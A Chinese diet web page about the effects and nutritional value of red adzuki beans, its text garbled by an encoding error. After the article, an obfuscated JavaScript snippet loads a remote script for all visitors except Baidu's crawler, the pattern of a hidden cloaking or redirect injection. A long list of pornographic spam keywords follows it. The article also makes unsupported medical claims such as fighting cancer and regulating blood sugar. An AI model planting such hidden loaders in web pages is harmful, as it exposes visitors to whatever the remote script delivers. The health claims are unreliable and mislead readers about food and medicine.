當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

紅小豆有哪些作用

2017-07-07 00:04:30  來源:360常識網(wǎng)   熱度:
導(dǎo)語:我們?nèi)粘5娘嬍掣诡愂澄镉嘘P(guān),豆類能夠很好的補充我們?nèi)粘5鞍踪|(zhì)的營養(yǎng)補充。特別對于紅小豆能夠很好的幫助我們?nèi)粘o嬍持凶龊檬朝煿ぷ鳌?

我們?nèi)粘5娘嬍掣诡愂澄镉嘘P(guān),豆類能夠很好的補充我們?nèi)粘5鞍踪|(zhì)的營養(yǎng)補充。特別對于紅小豆能夠很好的幫助我們?nèi)粘o嬍持凶龊檬朝煿ぷ鳌<t小豆對于我們?nèi)粘G鍩峤舛竞拖[具有很好的效果,所以我們在日常飲食經(jīng)常會選擇紅小豆作為一種經(jīng)常食用的豆類食物。

紅小豆對于日常降火具有很好的幫助,在夏天也是能夠很好的幫助我們清熱防暑。我們在家里可以用紅小豆來煮飯或者熬粥是一個不錯的選擇,燉湯稍微需要控制火候,紅小豆比較難熟。

紅小豆的功效

除熱毒,散惡血,消脹滿,利小便,通乳。癰腫膿血,下腹脹滿,小便不利,水腫腳氣,煩熱,干渴,酒病,痢疾,黃疸,腸痔下血,乳汁不通;外敷治熱毒癰腫,血腫,扭傷。 紅小豆的作用

紅小豆可整粒食用,一般用于煮飯、煮粥、做紅小豆湯或冰棍、雪糕之類。用于菜肴有“紅豆排骨湯”等。由于紅小豆淀粉含量較高,蒸后呈粉沙性,而且有獨特的香氣,故常用來做成豆沙,以供各種糕團面點的陷料。紅小豆還可發(fā)制紅小豆芽,食用同綠豆芽。

紅小豆的營養(yǎng)價值

紅小豆含有較多的皂角甙,可刺激腸道。因此它有良好的利尿作用,能解酒、解毒,對心臟病和腎病、水腫均有益。它含有較多的膳食纖維,具有良好的潤腸通便、降血壓、降血脂、調(diào)節(jié)血糖、解毒抗癌、預(yù)防結(jié)石、健美減肥的作用。紅小豆是富含葉酸的食物。產(chǎn)婦,乳母多吃紅小豆有催乳的功效。

了解了本文我們對于紅小豆有個比較詳細(xì)的了解。紅小豆對于身體具有很多營養(yǎng)價值,是其他食物所不能夠睥睨的。對于日常經(jīng)常減肥瘦身的人群用紅小豆來熬粥能夠很好的控制攝入的熱量,對于孕婦來說能夠很好的催奶效果。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产美女精品久久久久久久免费| 华人在线精品免费观看| 69pao精品视频在线观看| 九色精品视频在线观看| 久久精品国产亚洲av天美18| 国产成人久久精品激情 | 日韩精品亚洲人成在线观看 | 国产精品第二页在线播放| 久久91亚洲精品中文字幕| 国产在线午夜卡精品影院| 国产精品视频久久久| 亚洲人精品午夜射精日韩| 免费看国产精品麻豆| 国产va精品免费观看| 无码国产精品一区二区免费模式 | 国产精品久久精品| 久久精品99国产精品日本| 国产99视频精品免费视频76| 久久久久人妻精品一区三寸| 精品无码人妻夜人多侵犯18| 中文精品北条麻妃中文| 精品无码一区二区三区水蜜桃| 97久久国产亚洲精品超碰热| 日韩精品视频免费观看| 久久国产精品一区| 精品无码成人久久久久久 | 国产伦精品一区二区三区视频金莲| 亚洲日韩精品无码专区加勒比 | 亚洲精品无码成人AAA片| 国产精品超碰12396| 人妻偷人精品成人AV| 老色鬼永久精品网站| 亚洲国产精品久久久久秋霞影院 | 亚洲国产精品日韩在线| 久久r热这里有精品视频| 中文字幕无码精品亚洲资源网| 日本一区二区三区精品国产 | 久久精品黄AA片一区二区三区| www亚洲精品久久久乳| 亚洲精品午夜国产va久久| 182tv精品视频在线播放|